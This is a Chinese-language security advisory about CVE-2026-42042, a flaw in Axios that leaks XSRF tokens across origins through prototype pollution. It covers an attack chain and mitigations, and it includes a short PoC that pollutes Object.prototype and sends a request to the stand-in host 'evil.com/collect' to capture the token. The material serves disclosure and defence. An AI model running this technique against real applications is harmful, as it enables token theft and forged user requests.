IPBUF安全漏洞报告
English
CVE-2026-42042 CVSS 5.4 中危

CVE-2026-42042 Axios XSRF token跨域泄露漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-42042
漏洞类型
CSRF保护绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Axios

相关标签

CSRFAxios跨域泄露原型污染信息泄露

漏洞概述

Axios是一个流行的HTTP客户端库。在1.15.1和0.31.1之前的版本中,其XSRF token保护逻辑存在缺陷。当配置属性`withXSRFToken`被设置为任何非布尔真值(可能由原型污染引起)时,同源检查会被绕过。这导致XSRF token被发送到跨域请求中,可能泄露敏感认证信息给攻击者控制的服务器。该漏洞已在1.15.1和0.31.1版本中修复。

技术细节

该漏洞的根源在于Axios库处理`withXSRFToken`配置项时的逻辑缺陷。在受影响版本中,代码使用了JavaScript的宽松真值检查,而非严格的布尔类型判断。攻击者可以通过原型污染(Prototype Pollution)攻击手段,篡改`Object.prototype`,将`withXSRFToken`属性设置为非布尔类型的真值(例如字符串、对象或数字)。当应用发起请求时,Axios的错误逻辑会误判为需要发送XSRF Token,从而绕过了原本的同源策略检查。这导致敏感的CSRF Token被附加到跨域请求中,发送给攻击者控制的外部服务器。攻击者一旦获取该Token,即可伪造用户身份请求,执行未授权操作,严重威胁用户数据安全。

攻击链分析

STEP 1
步骤1:原型污染
攻击者利用应用中的其他漏洞(如JSON合并污染)修改对象原型,将`withXSRFToken`属性设置为非布尔真值。
STEP 2
步骤2:触发请求
诱导用户访问恶意页面或触发特定操作,使应用向攻击者控制的服务器发起HTTP请求。
STEP 3
步骤3:绕过检查
由于Axios使用真值判断而非布尔判断,错误地认为需要携带XSRF Token,并绕过了同源检查。
STEP 4
步骤4:Token泄露
受害者的XSRF Token被包含在请求头或Cookie中发送给攻击者的服务器。
STEP 5
步骤5:利用Token
攻击者利用截获的Token伪造用户请求,绕过CSRF防护执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual Proof of Concept for CVE-2026-42042 // This demonstrates how prototype pollution can trigger the leak. // 1. Simulate Prototype Pollution // An attacker might pollute the prototype chain via another vulnerability. Object.prototype.withXSRFToken = "polluted_truthy_value"; const axios = require('axios'); // 2. Configure Axios normally (or rely on defaults) // The vulnerable version checks `if (config.withXSRFToken)` which is true for the string above. // 3. Attacker's controlled endpoint to receive the token const attackerUrl = 'https://evil.com/collect'; // 4. Victim makes a request (could be triggered by a crafted link) // Due to the bug, the XSRF token cookie will be sent to the cross-origin 'evil.com' axios.get(attackerUrl).then(response => { console.log('Request completed'); }).catch(error => { console.error(error); });

影响范围

Axios < 1.15.1
Axios < 0.31.1

防御指南

临时缓解措施
如果不能立即升级,应确保应用环境不存在原型污染漏洞。可以通过冻结Object.prototype、使用对象创建时的null原型或使用Map代替Object来缓解原型污染风险。同时,监控网络流量,检查是否有向非预期外部域名发送敏感Cookie的情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表